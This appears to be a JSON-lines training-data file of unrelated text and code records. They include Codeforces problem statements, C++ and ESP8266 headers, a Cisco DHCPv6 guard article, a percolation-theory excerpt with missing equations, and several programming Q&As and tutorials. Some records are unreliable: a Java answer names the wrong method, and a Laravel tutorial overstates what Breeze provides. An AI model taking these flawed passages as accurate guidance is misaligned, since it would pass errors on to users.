{"text": "Monocarp is a little boy who lives in Byteland and he loves programming.\n\nRecently, he found a permutation of length $$$n$$$. He has to come up with a mystic permutation. It has to be a new permutation such that it differs from the old one in each position.\n\nMore formally, if the old permutation is $$$p_1,p_2,\\ldots,p_n$$$ and the new one is $$$q_1,q_2,\\ldots,q_n$$$ it must hold that $$$$$$p_1\\neq q_1, p_2\\neq q_2, \\ldots ,p_n\\neq q_n.$$$$$$\n\nMonocarp is afraid of lexicographically large permutations. Can you please help him to find the lexicographically minimal mystic permutation?", "source": "cpt_codeforces", "language": "en", "token_count": 171, "token_count_with_eod": 172, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "#pragma once\n\n#include \"mvTypeBases.h\"\n#include \"mvApp.h\"\n#include \"mvModule_Core.h\"\n#include <string>\n\nnamespace Marvel {\n\n    MV_REGISTER_WIDGET(mvKnobFloat, MV_ITEM_DESC_DEFAULT, StorageValueTypes::Float, 1);\n    class mvKnobFloat : public mvFloatPtrBase\n    {\n\n    public:\n\n        static void InsertParser(std::map<std::string, mvPythonParser>* parsers);\n\n        MV_APPLY_WIDGET_REGISTRATION(mvAppItemType::mvKnobFloat, add_knob_float)\n\n        MV_START_EXTRA_COMMANDS\n        MV_END_EXTRA_COMMANDS\n\n        MV_START_GENERAL_CONSTANTS\n        MV_END_GENERAL_CONSTANTS\n\n        MV_START_COLOR_CONSTANTS\n        MV_END_COLOR_CONSTANTS\n\n        MV_START_STYLE_CONSTANTS\n        MV_END_STYLE_CONSTANTS\n\n    public:\n\n        mvKnobFloat(const std::string& name);\n\n        void draw(ImDrawList* drawlist, float x, float y) override;\n\n        void handleSpecificKeywordArgs(PyObject* dict) override;\n        void getSpecificConfiguration(PyObject* dict) override;\n\n    private:\n\n        float m_min = 0.0f;\n        float m_max = 100.0f;\n        float m_step = 50.0f;\n\n    };\n\n}", "source": "cpt_stack_code", "language": "code", "token_count": 288, "token_count_with_eod": 289, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Bearland is a big square on the plane. It contains all points with coordinates not exceeding 106 by the absolute value.\n\nThere are n houses in Bearland. The i-th of them is located at the point (xi, yi). The n points are distinct, but some subsets of them may be collinear.\n\nBear Limak lives in the first house. He wants to destroy his house and build a new one somewhere in Bearland.\n\nBears don't like big changes. For every three points (houses) pi, pj and pk, the sign of their cross product (pj - pi) × (pk - pi) should be the same before and after the relocation. If it was negative/positive/zero, it should still be negative/positive/zero respectively. This condition should be satisfied for all triples of indices (i, j, k), possibly equal to each other or different than 1. Additionally, Limak isn't allowed to build the house at the point where some other house already exists (but it can be the point where his old house was).\n\nIn the formula above, we define the difference and the cross product of points (ax, ay) and (bx, by) as:\n\n(ax, ay) - (bx, by) = (ax - bx, ay - by),\n\n(ax, ay) × (bx, by) = ax·by - ay·bx.\n\nConsider a set of possible new placements of Limak's house. Your task is to find the area of that set of points.\n\nFormally, let's say that Limak chooses the new placement randomly (each coordinate is chosen independently uniformly at random from the interval [ - 106, 106]). Let p denote the probability of getting the allowed placement of new house. Let S denote the area of Bearland (S = 4·1012). Your task is to find p·S.", "source": "cpt_codeforces", "language": "en", "token_count": 401, "token_count_with_eod": 402, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "There's a chessboard of size $$$n \\times n$$$. $$$m$$$ rooks are placed on it in such a way that:\n\n- no two rooks occupy the same cell;\n- no two rooks attack each other.\n\nA rook attacks all cells that are in its row or column.\n\nIs it possible to move exactly one rook (you can choose which one to move) into a different cell so that no two rooks still attack each other? A rook can move into any cell in its row or column if no other rook stands on its path.", "source": "cpt_codeforces", "language": "en", "token_count": 122, "token_count_with_eod": 123, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "DHCPv6 guard feature blocks DHCP reply and advertisement messages that originate from unauthorized DHCP servers and relay agents that forward DHCP packets from servers to clients. Client messages or messages sent by relay agents from clients to servers are not blocked. The filtering decision is determined by the device role assigned to the receiving switch port, trunk, or VLAN. This functionality helps to prevent traffic redirection or denial of service (DoS).\nLet's discussed about common problem scenario also called man-in-middle attack:\nWe’ve got our multilayer switch in the center and somewhere off to the side of router R1,we’ve got a DHCPv6 server which is our legitimate device. And in our access domain on the down we have our victim, who is a person coming into work on a normal morning, turning on his Laptop and requesting a DHCPv6 address with a solicit message. Unfortunately for him, a neighbor of his is the rogue man sitting next to him in the cubicle, can see his DHCP solicit message and can actually reply, pretending that he is the DHCPv6 server and assign credentials and…such as the DNS address to be used etc. and which he can use then to redirect traffic to himself. So, unprotected, this would be a very dangerous position. So for people to protect themselves in this sort of network layer by simply turning on IPv6 Snooping. By turning on IPv6 Snooping, you automatically drop the switch into “Guard Mode” which will turn on DHCPv6 Guard as well as RA Guard; so none of the redirect advertisements or any DHCPv6 server messages will get through.\nThere are two mode:\n1) Client: Sets the role of the device to client.\n2) Server: Sets the role of the device to server.\nSince the default mode of the switch is to “guard”, by default all ports configured with dhcpv6 guard will be in client mode. Thus all ports will be dropping any dhcpv6 server messages by default.\nAdditional security can be achieved by assigning an access list to only permit dhcpv6 server messages from a specific source address. Assigning a prefix-list to allow address allocation only from a known prefix (i.e. the server has been compromised).\n1) 1st Assign Policy for Hosts:\nFor the Host facing ports you don’t need to do this, but if you want to explicitly configure this, that’s how you do it.\nSW1(config)#ipv6 dhcp guard policy dhcp-client\nInterface range fa0/2-3\nswitchport mode access\nipv6 dhcp guard attach-policy dhcp-client\n2) Then assign policy for DHCP server facing port:\nFor the server facing ports, you need create DHCPv6 Guard policy.\nSW1(config)#ipv6 dhcp guard policy dhcp-server\nSW1(config-dhcp-guard)#match server access-list ACL1\nYou can also provide some extra functionality over access lists; you could block server messages for particular addresses using an access list and you could also block some advertisements from the DHCPv6 server blocking certain prefixes using a prefix list as shown below:\nSW1(config)#ipv6 access-list ACL1\nSW1(config-ipv6-acl)#permit ipv6 host FE80::1 any\nSW1(config)#ipv6 prefix-list PREF1 seq 5 permit 2001::/64 le 128\nswitchport mode access\nipv6 dhcp guard attach-policy dhcp-server\nSW1#show ipv6 dhcp guard policy\nDhcp guard policy: dhcp-client\nDevice Role: dhcp client\nTarget: fa0/2 fa0/3\nDhcp guard policy: dhcp-server\nDevice Role: dhcp server\nMax Preference: 255\nMin Preference: 0\nSource Address Match Access List: ACL1\nPrefix List Match Prefix List: PREF1\nSW1#show ipv6 access-list ACL1\nIPv6 access list ACL1\npermit ipv6 host FE80::1 any (5 matches) sequence 10\nHas anyone got Cisco Nexus 9000v to run on Vsphere 7.x? I can't seem to get Nexus 9000v 9.3 to run on ESXi 7.02. The image appears to boot but stops with 'Boot Time <date time> as the last line displayed on the console. I have gotte...\nWhich two commands must be configured on the New York router so that it reaches the Lo1 interface of the Atlanta router via Washington when the link between New York and Atlanta goes down? I am a bit confused which static route i must use to solve that. I...\nPlease help - is there a way to establish a fault tolerant connection between the 4321 ISR router and the 2960 or IE2000 switch?Writing bachelor's work, doing a simulation at Cisco Packet Tracer. The HSRP activation command is not accepted by the sim...\nHello folks, I am looking to purchase the following switch as Layer 3 C9300X-24Y-A and following switch as Layer 2 C9200L-48P-4X-E. The current old switches 3850 & 3650 that are being replaced have the following SFP for the most part \"SFP-10...\nSomehow I am not understanding the scant documentation on setting default routes for multiple circuits in VPN 0. It works for me with more than one circuit if they all are static IPs with static next hops. It works for a single circuit with DHCP. However,...", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1157, "token_count_with_eod": 1158, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "/**************************************************************\n\nThis file is a part of\nhttps://github.com/atiderko/esp8266-ansulta-alexa\nCopyright (c) 2018 Alexander Tiderko\n\nLicensed under MIT license\n\nConfiguration class to setup WiFi settings using\nWiFiManager [https://github.com/tzapu/WiFiManager].\nIt is also possible to reset the configuration by double press\non reset. The idea is based on\nhttps://github.com/datacute/DoubleResetDetector\n\n**************************************************************/\n#ifndef CONFIG_H\n#define CONFIG_H\n\n#include <FS.h>\n#include <DNSServer.h>\n#include <WiFiManager.h>\n\n#define CONFIG_FILE \"/ansulta_config.json\"\n#define ANSULTA_AP \"AnsultaAP\"\n#define AP_PASSWORD \"ansulta\"\n\nstatic char HUE_DEVICE_NAME[] = \"Küchenlicht\";\n\n// use reset idea from https://github.com/datacute/DoubleResetDetector\n#define RESET_UTC_ADDRESS 127\n#define RESET_FLAG 0x12121212\n#define RESET_FLAG_CLEAR 0x10000001\n\nclass Config {\npublic:\n    static const unsigned long MOTION_TIMEOUT = 0; // millis, 0 disables motion\n    static const int MAX_PHOTO_INTENSITY = 100;\n\n    String device_name;\n    unsigned long motion_timeout;\n    int max_photo_intensity;\n    Config();\n    ~Config();\n    void setup();\n    void loop();\n    bool is_connected();\n    bool has_motion();\n    void should_save_config();\n    void save_ansulta_address(byte address_a, byte address_b);\n    byte get_ansulta_address_a();\n    byte get_ansulta_address_b();\n\nprotected:\n    //flag for saving data\n    bool pShouldSaveConfig;\n    byte pAnsultaAddressA;\n    byte pAnsultaAddressB;\n    bool p_has_motion;\n    void p_save_config();\n    bool has_flag(int address, uint32_t flag);\n    void set_flag(int address, uint32_t flag);\n    WiFiManager wifiManager;\n};\n\n#endif", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Learn about how to send a message to your Microsoft Teams channel when a rule is fired in your IoT Central app using Microsoft Flow. We’ll cover what is Microsoft Flow, and go through how to build workflows easily using the hundreds of connectors available. Get more details about continuous data export in docs: https://docs.microsoft.com/en-us/azure/iot-central/howto-add-microsoft-flowCreate\nAzure Functions is a serverless compute service that enables you to run code on-demand without having to explicitly provision or manage infrastructure. Using Azure Functions, you can run a script or piece of code in response to a variety of events. Azure Data Factory (ADF) is a managed data integration service in Azure that enables\nIn this episode, we dive into some of the new features available in Workbench 1.6, such as application versioning and troubleshooting. You can try Workbench here: https://aka.ms/tryworkbench Details on latest updates in Workbench here: https://aka.ms/workbenchreleasenotes Azure Blockchain Workbench 1.6.0 blog Follow @CH9 Follow @MSFTBlockchain Link to Channel9\nThis Week on Channel 9, Christina is ready to report on the latest developer news, including: [00:20] Microsoft Ignite: The Tour continues to ramp up. [00:48] Microsoft IoT and AI stuff at CES 2019 and some Windows device highlightsfrom CES. [01:37] GitHub Offers Unlimited Free Private Repos [02:40] Updates to GitHub Pull Request Extension for VS Code [03:05] Python 2.7 Support for App\nChris Anderson joins Donovan Brown to discuss how to use Azure Cosmos DB and other great Azure services to build a highly-scalable, real-time, collaborative application. You’ll see techniques for using the Azure Cosmos DB change feed in both Azure Functions and SignalR applications. We also briefly touch on how custom authentication works with Azure Functions.\nAccelerate your career in one of the fastest-growing cloud technology fields: IoT. This program will teach you the device programming, data analytics, machine learning, and solution design skills you need for a successful career in IoT. Learn the skills necessary to start or progress a career working on a team that implements IoT solutions. Get\nWhat is it like to intern at Microsoft? Scott Hanselman meets with three interns from the Microsoft Explorer Program (a cross-discipline internship designed for college freshmen and sophomores) to talk about their experience working on the Azure Container Registry and their contribution of ACR Build and Task capabilities to the Visual Studio Code Docker Extension.\nOn this week’s Xamarin Show, James is joined by good friend Christos Matskas who shows off a beautiful Xamarin application that is infused with AI to generate a full Azure backend just by drawing pictures on a white board. You don’t want to miss this mind blowing demo and walkthrough of the code. Show Notes:\nWinvision has leveraged the spatial intelligence capabilities of Azure Digital Twins to build BeSense, a smart building application that provides realtime data that optimizes space utilization and occupant experience. Remco Ploeg, a Solution Architect at Winvision demos the application. Learn more about BeSense: https://www.besense.nl/en Learn more about Winvision: https://www.winvision.nl Learn more about Azure Digital\nThis episode will introduce the use of IPFS (Interplanatory File System) in a consortium setting. The concepts of how this technology can be helpful to remove centralization of storage that is not part of the block in the blockchain is shown. Along with this is a short demonstration of how the marketplace offering for IPFS", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 748, "token_count_with_eod": 749, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "LuoTianyi gives you a palindrome$$$^{\\dagger}$$$ string $$$s$$$, and she wants you to find out the length of the longest non-empty subsequence$$$^{\\ddagger}$$$ of $$$s$$$ which is not a palindrome string. If there is no such subsequence, output $$$-1$$$ instead.\n\n$$$^{\\dagger}$$$ A palindrome is a string that reads the same backward as forward. For example, strings \"z\", \"aaa\", \"aba\", \"abccba\" are palindromes, but strings \"codeforces\", \"reality\", \"ab\" are not.\n\n$$$^{\\ddagger}$$$ A string $$$a$$$ is a subsequence of a string $$$b$$$ if $$$a$$$ can be obtained from $$$b$$$ by deletion of several (possibly, zero or all) characters from $$$b$$$. For example, strings \"a\", \"aaa\", \"bab\" are subsequences of string \"abaab\", but strings \"codeforces\", \"bbb\", \"h\" are not.", "source": "cpt_codeforces", "language": "en", "token_count": 219, "token_count_with_eod": 220, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "OCP has launched a new software feature functionality that will allow visitors to the OCP Marketplace to view the various software stacks supported on OCP Accepted™ and OCP Inspired™ hardware platforms. This new feature will allow visitors to the OCP Marketplace to make more informed buying decisions. The OCP Foundation hopes that this feature will further illustrate our commitment to software solutions in addition to the variety of open sourced hardware solutions.\nWith the addition of this new feature, a visitor to the OCP Marketplace (https://www.opencompute.org/products) will see a new category called “Software”, listed on the left hand side of the component tree area of the website.\nBased on the above picture, if a user selects the “Server” and a “Software” category, then all the software supported on a particular server platform will be displayed.\nIf a user selects the “Network” category, then all the network software supported on a particular switch platform will be displayed.\nA user can also perform searches for a particular software stack supported on a hardware platform.\nMore software features and functionality will be launching in the next few days so check back here for updates.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 233, "token_count_with_eod": 234, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I have been using the following code for years to create a SQL string from an expression with the parameters filled in:\npublic static string ToUnparameterizedSelectStatement<T>(this SqlExpression<T> expression)\nstring s = expression.ToSelectStatement();\nforeach (var p in expression.Params)\ns = s.Replace(p.ParameterName, p.Value.ToString());\nI recently stumbled across the\nSqlExpression which I thought would be a good idea to use and replace my custom code with the built in one.\nHowever this gave me a serious performance regression as seen in the before and after below. Any idea why this would be?\nTo find out what the differences are, check the implementations, here's\nMergeParamsIntoSql() which it calls:\nWhich uses Regex which is obviously going to perform worse vs a simple string replace in a micro benchmark. Also you're just doing a simple string embed whereas OrmLite uses the registered converters to embed the proper quoted db value. Your solution is going to break when replacing parameters which share the same prefix, e.g.\n@p10. I also remember having to update this once to handle a corner case you've reported.\nYou would only use this once in a query, i.e. it's not called in a hotspot loop.\nThere's a hot spot I have where this is being called where I want to use the result of\nToMergedParamsSelectStatement to check if this query exists in a cache before hitting the database.\nMaybe there's a better way to generate a key for a cache based on a\nBased on any SqlExpression no, you can keep using you’re impl since it doesn’t have to be correct and just needs to generate a unique string.\nGenerally I’d be caching higher up and using a serialized Request DTO or RawUrl as the cache key or for internal queries just a name + serialized args, I.e. never a generic SqlExpression.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 395, "token_count_with_eod": 396, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "2.1. Percolation Theory\n A system of pores that have low interconnectivity is best approached as a percolation problem [Sahimi, 1994; Hunt and Ewing, 2009]. Unfortunately, few hydrologists and soil scientists (the authors included) learned percolation theory as students, so the topic often seems a confusing morass from which we do not know how to extract the relationships we want. Here we present some basic concepts of percolation theory, as background for applying it to diffusive exchange between a porous sphere and the surrounding fluid.\n Percolation theory [Stauffer and Aharony, 1994] is a mathematical framework for describing the macroscopic properties that emerge in a system composed of many roughly equivalent parts, given the local degree of connection between those parts. In the context of this study, the parts are the individual pores within a single particle (grain, cobble, etc.), and the macroscopic properties of chief interest are the accessible porosity and the intragranular diffusion coefficient. Ewing et al.  discussed why it is reasonable to expect that many geological media have low pore connectivity; here we will briefly discuss how some properties emerge as a consequence of low connectivity. Extensive presentations of percolation theory in the context of porous materials are given in the work of Berkowitz and Balberg , Sahimi , and Hunt and Ewing .\n Consider a large two-dimensional lattice, for example a brick wall, and suppose that individual sites (e.g., bricks) are colored black with probability p, or white with probability 1 − p. As p increases from 0, black sites change from being rare and isolated, to occurring in clusters of black sites. Further increases in p increase the mean size of the black clusters, and eventually a threshold is crossed: the black clusters merge to form an “infinite cluster” that spans the entire brick wall, however large it may be. The value of p at which the percolation threshold is reached (the infinite cluster forms) is called pc, the critical probability. When p > pc, the white sites occur as disconnected clusters, and further increasing p will decrease the mean size of the white clusters until they become rare and isolated. Much of percolation theory can be developed from this simple sketch.\n When p = 1.0, all sites are black, so all sites are on the infinite cluster. When p < pc, no black site are on the infinite cluster because there is no infinite cluster. The fraction of black sites that belong to the infinite cluster (denoted P, the “power” of the infinite cluster) therefore goes from 0 for p < pc, to 1 at p = 1. As it happens, P is described by a simple power law: when p > pc, P ∼ (p – pc)β. This behavior is independent of (most) details of the lattice: even though square, triangular, cubic, and irregular lattices have different values for pc, the same power law behavior is seen in all of them, a phenomenon known as universality. The value of β is different in different dimensions, but values are known for both two and three dimensions (Table 1). A consequence of universality is that relationships developed for an easy case, say a square two-dimensional lattice, can then be applied (with some care) to irregular three-dimensional problems.\nTable 1. Fundamental Percolation Exponents Discussed in This Study\n|Exponent||Value in 2-D||Value in 3-D||Meaning|\n|β||5/36a||0.41||Defines the fraction of the medium that is on the infinite cluster (the “power” of the infinite cluster).|\n|ν||4/3||0.88||Defines χ, the fundamental length scale near pc. Indicates size-scaling.|\n| ||1.13||1.34||Fractal dimension of the chemical path between two points on the same cluster; related to tortuosity.|\n|μ||1.31||2.0||Describes conductivity near pc in an infinite medium.|\n A useful parameter is the correlation length, χ. For p < pc, χ is essentially the mean radius of the finite clusters, while for p > pc, χ is the mean radius of the holes in the infinite cluster. This has practical implications: if only the black phase is conducting, then pathways through the black infinite cluster are on average separated by a distance χ; this is why χ is also called the “mean separation of paths.” χ is known to scale as χ ∼ |p – pc|−ν, and the presence of the percolation exponent ν (Table 1) generally indicates some form of size scaling. χ functions as a characteristic length, and we find that systems behave homogeneously at length scales L ≫ χ, while behavior at scales less than χ is typically scale dependent. Because χ ∞ as p pc, the only operational length scale at pc is the system size.\n Suppose a system is near pc, and we want to know the length of a path between two given sites on the same cluster. The straight line or Euclidean distance, l, can be calculated trivially, but the connecting pathway, proceeding from site to connected site, is more complex. The length of this path is called the chemical distance, λ, because in a porous medium, with sites corresponding to pores, this is the shortest path available to a molecule traveling between the two sites. The path is fractal at scales greater than the scale of individual sites but less than χ; for these distances λ is related to the Euclidean distance as (Table 1). The ratio λ/l is therefore the tortuosity τ, the value of which must be scale dependent at scales greater than a single pore and less than χ [Ewing et al., 2010].\n As a final illustration, consider conduction through the infinite cluster. If p = 1, the system's conductivity, g, is clearly determined by the distribution of conductivities. But as p decreases toward pc, the individual conducting pathways become more tortuous (with ), while the separation between individual pathways becomes greater (with ν). At some point [Hunt, 2004; Ewing and Hunt, 2006] the topological considerations become more important than the conductivity distribution, and the system's conductivity is found to scale with proximity to the percolation threshold as g ∼ (p – pc)μ (Table 1).\n Instead of having sites be black with probability p (“site percolation”), we could have had bonds (the connections between adjacent sites) being active with probability p (“bond percolation”). The values of the critical probabilities, and of the prefactors needed to convert the scaling relationships to equalities, are specific to the lattice used (square, honeycomb, etc.), and whether it is site or bond percolation that obtains. However, the scaling relationships we have shown hold generally across these as well as other considerations. Our RW model uses bond percolation on a simple cubic lattice, so we know that pc ≈ 0.2488 [Stauffer and Aharony, 1994]. In a physical system (e.g., Borden sand), we do not know either p or pc, so different methods must be found to work with percolation concepts. Both conceptual and physical systems are considered in this study.\n2.2. Model Development\n When accessible porosity is not uniform, a FD model needs local values of accessible porosity in order to convert between concentration (the driving force) and solute mass. Our FD model therefore requires equations giving local values of both accessible porosity, φa, and the diffusion coefficient, pm. When the sphere has low pore connectivity, these parameters vary as functions of both the proximity to the percolation threshold (i.e., with p – pc), and the intragranular distance l to the sphere's exterior. We address the accessible porosity first. Recall that the percolation exponent β gives the fraction of active sites that are on the infinite cluster, and in an infinite system, only sites on the infinite cluster would be accessible over great distances. Meanwhile, scaling with distance occurs for distances l < χ. The value of χ for a system above the percolation threshold is given by χ = a (p – pc)−ν, with a being a system-specific prefactor. The β and ν exponents combine to give an exponent –β/ν, which governs how accessible porosity varies with distance from the exterior. If p and pc are known (e.g., when comparing the FD model with the RW model) then a is a fitting parameter; for a physical system (e.g., the Borden sand) we instead consider χ to be a fitting parameter.\n At distances l > χ, φa takes a constant plateau value which we designate φp. Closer to the exterior, φa decreases with an exponent –β/ν. Equating these at l = χ defines a prefactor b ≡ φpχβ/ν, so\nwhere the scaling with distance shows up through both the exponent ν, and the crossover in scaling at l = χ (Figure 1). With these relationships, and given χ and φp for a sphere of radius R, then φa for the whole sphere can be calculated as\nand given any three of [R, χ, φp, φa], we can calculate the fourth.\n When modeling the sphere without distinguishing between the infinite and finite clusters (the “merged” model), equation (2) suffices to describe the porosity distribution. But when modeling the infinite and finite clusters as separate systems operating in parallel (the “split” model), their accessible porosities must be treated separately. All accessible porosity must be on either the infinite cluster (φi) or those finite clusters intersecting the edge (φf): φa = φi + φf. Accessible porosity on the infinite cluster varies with intragranular distance l to the grain's exterior as\n By definition, all accessible pores at distances l > χ belong to the infinite cluster (Figure 1). Consequently, accessible porosity due to the finite clusters, φf, is nonzero only for l < χ, and is given by the difference between equations (2) and (4):\nWhen the sphere is small relative to the correlation length (i.e., when R < χ), there is no infinite cluster. In this case we consider that the split and merged models are identical.\n The FD model also requires a percolation-based estimate of the diffusion coefficient, pm. As with φa, two distinct scaling issues apply: scaling with distance l from the sphere's exterior, and scaling with p – pc, the proximity to the percolation threshold. As with porosity, diffusion scaling with distance has a crossover at l = χ, and is known to take the form [Stauffer and Aharony, 1994]\nwhere the exponent ϑ ≡ (μ – β)/ν ≈ 1.807 in 3-D. As we would expect, this distance-scaling exponent has the exponent ν in the denominator.\n The second kind of scaling, scaling with p – pc for distances l > χ, was seen by Ewing et al.  to follow\nThey gave the exponent ψ ≈ 1.42 in 3-D, and conjectured that ψ ≡ (2 + ϑ)/2 . On the other hand, Havlin and Ben-Avraham  and Stauffer and Aharony  give the exponent ψ ≡ 2ν – β (≈1.35 in 3-D) for p < pc, which is to say, for finite clusters near criticality. This exponent can be interpreted as meaning that diffusion is restricted to a single pathway (on average) through each area χ2 (because the mean distance between paths scales with the exponent –ν), and is directly proportional to the fraction of the porosity that is on the infinite cluster (controlled by the β exponent). For comparisons against the RW model, we ran the FD model with both values of ψ.\n Because diffusion and conductivity are related, one might expect that the relevant exponent would be μ rather than ψ. The short explanation is that in our porous spheres we have diffusion on both the infinite cluster and the finite clusters; when diffusion is restricted to the infinite cluster, the μ exponent is appropriate. A fuller explanation [e.g., Stauffer and Aharony, 1994] is beyond the scope of this paper.\n Equation (7) is problematic in terms of actual implementation, most obviously because the endpoints are wrong. For example, we may want pm at p = 1.0 to take some known value (denoted k), and can easily normalize to obtain it. But equation (7) would also give pm = 0 at p = pc, which is only asymptotically true for infinite systems, in contrast to the finite spheres we are considering. Specifically, if we are working with a grain of size R ≤ χ, all intragranular pores lie within the region of decreasing porosity and increasing tortuosity (Figure 1). Within this region, all values of p between pc at the low end, and pc + (R/a)−1/ν at the high end, should give identical values of the diffusion coefficient (combining both the infinite and finite clusters): all of these systems behave essentially identically within a distance l < χ of the exterior [Ewing et al., 2010, Figure 10]. We therefore modify equation (7) to\nThis modification is further justified in section 5. Combining the two kinds of scaling (equations (6) and (8)) and normalizing to the known k at p = 1.0 gives\n The above discussion involves an artificial system for which p – pc is known. In contrast, a physical system's proximity to the percolation threshold is not generally known. In this case we combine the several unknowns, defining\nwhich allows us to treat 0 as our second fitting parameter (after χ). The local diffusion coefficient is then simply given as", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 2966, "token_count_with_eod": 2967, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Assuming that you mean \"-Wunreachable-code\" rather than \"-Dunreachable-code\", the answer is fairly simple (though hard to track down.)\nThe problem is that the configure script is generating something like:\nThe combination of \"-Werror\" and \"-Wunreachable-code\" to GCC will cause the \"return 0\" in the generated code to be unreachable (GCC recognizes exit() as not returning), thus produces a warning, which (due to \"-Werror\") is an error, hence the test fails because the compile fails.\nexit (malloc (0) ? 0 : 1);\nIf you're feeling ambitious, and insist on using the combination of \"-Werror\" and \"-Wunreachable-code\", you could go to /usr/lib/share/autoconf/autoconf (or wherever you have the autoconf M4 files), and edit the file autoconf.m4f; search for the line that reads:\nand replace it with something like:\n[exit (malloc (0) ? 0 : 1);])],\nThis should provide an execution path to the \"return 0;\", thus get rid of the unreachable-code warning, which should then produce the correct result. Test it, of course, as I may have screwed the code fragment up. This only fixes this instance of unreachable code in autoconf's generated tests, so my recommendation is that you don't use \"-Wunreachable-code\" in distributed apps, just in development.\n[if (malloc(0) == 0) exit(1);])],\nI hope this helps.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 325, "token_count_with_eod": 326, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Today,I will learn you how to create authentication with breeze in laravel. We will show example of laravel authentication with breeze. You can easy to make authentication with breeze in laravel.we will give example of laravel login and registration using breeze. We will use laravel 8 breeze tutorial. I’m going to show you about laravel breeze bootstrap. we will help you to give example of laravel install breeze using auth. you will do the following things for auth using breeze in laravel.\nBreeze allows you to implement a minimal furthermore an easy starting point for creating a Laravel application with authentication. We will use the breeze auth to implement default login, register, reset the password, forget password, email verification, and two-factor authentication blade views and controller file.\nHere, I will give you full example for simply authentication with breeze in laravel bellow.\nStep 1 : Install Laravel 8 Application\nWe are going from scratch, So we require to get fresh Laravel application using bellow command, So open your terminal OR command prompt and run bellow command:\ncomposer create-project --prefer-dist laravel/laravel blog\nStep 2 :Installing Breezes Package\nNow In this step, install laravel/breeze package in laravel 8 app via following command.\ncomposer require laravel/breeze --dev\nAfter you have to install laravel breeze for simple auth scaffolding. so let's run bellow command:\nphp artisan breeze:install\nBreeze scaffolding installed successfully. Please execute the \"npm install && npm run dev\" command to build your assets.\nNext let's run bellow command:\nnpm install && npm run dev\nWe will generate css and js min files.\nNow do everything successfully you have following files and code.\nLet's see bellow applications Screenshots:\nIt will help you.....", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 380, "token_count_with_eod": 381, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I have a question about something that has puzzled me. I did this\non my program because it was how I saw it done. I was wondering if\nsomeone could explain why it is done this way and if I would do this for\nI used the following code. What does the \".getSource()\" do? Is that\nwhat registers when someone clicks the button? How would this format\nchange if I was adding data entered into a text field? Any help is much\npublic void actionPerformed(ActionEvent e)\nif (e.getSource() == b)\nif (click == 1)\nb.setText(\"I've been clicked!\");\nb.setText(\"I've been clicked \" + click + \" times!\");\ne.getResource() method is to capture the resource which invokes actionPerformed method.\nWe can consider the following situation to understand why e.getResource method is useful.\nSuppose I have 4 buttons, the actions of each button when pressed are ...", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 192, "token_count_with_eod": 193, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Welcome to the official Join2 Games website!\nIf you are new and don't know us yet, please take a look at our games.\nThank you for coming!\nCheck out our latest free game! Already available for Windows Phone.\nVery addictive and funny platformer game exclusive for Windows Phone.\nOur best rated game. Simple and fun, perfect for those waiting moments! Available for iPhone and Windows Phone.\nDiscover all our retro-pixelated style games!\nBy A Web Design", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 101, "token_count_with_eod": 102, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Developer Strangelove or How I Learned to Stop Worrying and Love the Waterfall Model\nEveryone loves to hate the Waterfall Model (WM) and extoll the virtues of modern development methodologies. But while people are rolling their eyes at the mere mention of the WM, they forget that it was one of the first attempts at a systematic approach to complex system development. Few first attempts turn out to be the best, but all first attempts teach us something. As such, the WM contains pearls of wisdom that should not be ignored.\nFigure 1: The Venerable Waterfall Model\nFor the uninitiated, the WM starts with requirements. Requirements describe what the system or software will accomplish in structured natural language. An overly simple example might be: “If signal A is true, the system shall light the green LED.” A complex system could have tens or even hundreds of thousands of requirements. A modern aircraft has millions. The next step is architecture and design. Here the requirements are analyzed and categorized to guide the system or software architecture design. The result is your typical flowchart-like diagram with boxes representing functionality and connectors for interfaces. Implementation is next. The developers implement the hardware and/or software needed to fulfill requirements within the boundaries provided by the architecture. Finally, you test the implementation. Easy peasy.\nThere are three benefits to the WM: 1) a systematic approach 2) that is easy to understand and 3) recognizes that details increase over time. First, having a systematic approach to anything is a good idea. For system and software design, a systematic approach guides developers along a logical path of development, provides oversight for project progress, and improves reproducibility. Second, the WM is very easy to understand. This benefit should not be scoffed at; simplicity is its own reward. Third, the WM is a top-down approach that starts at a high-level of understanding and specification and works its way down, increasing details at each level, until the final product is realized and verified. This might seem obvious now but that is only because the WM engrained it in the minds of developers over the last 50+ years.\nOver the years the WM has been the victim of oversimplifications and misunderstandings. For instance, one misunderstanding is that the next phase could only start after the previous phase finished. The WM in no way suggests this, in fact pictures of the WM always show the phases overlapping. That’s not to say there aren’t legitimate problems with the WM. Although it rarely happened in practice, a major downfall of the WM is that testing is shown to happen only at the end. This implies you’ve gone through months or even years of work before you run the first test. No one really did this, but it’s how the model was presented. Another problem is that the WM doesn’t contain any notion of feedback loops. It’s commonly accepted these days that refinement is done after feedback from subsequent phases and that changes from outside forces necessitate rework. But the WM is presented in a linear fashion which ignores these inevitable loops.\nSo now you’re asking yourself: why would a system/software engineer with 20 years’ experience in safety-critical industries put up a spirited defense of the old worn-out WM? Answer: because the Waterfall Model set the stage for the V-Model.\nTune in next time, when I describe WM’s spiritual successor, the V-Model.\nRequirements are the key to success. Some customers have great requirements, and some have crummy requirements. 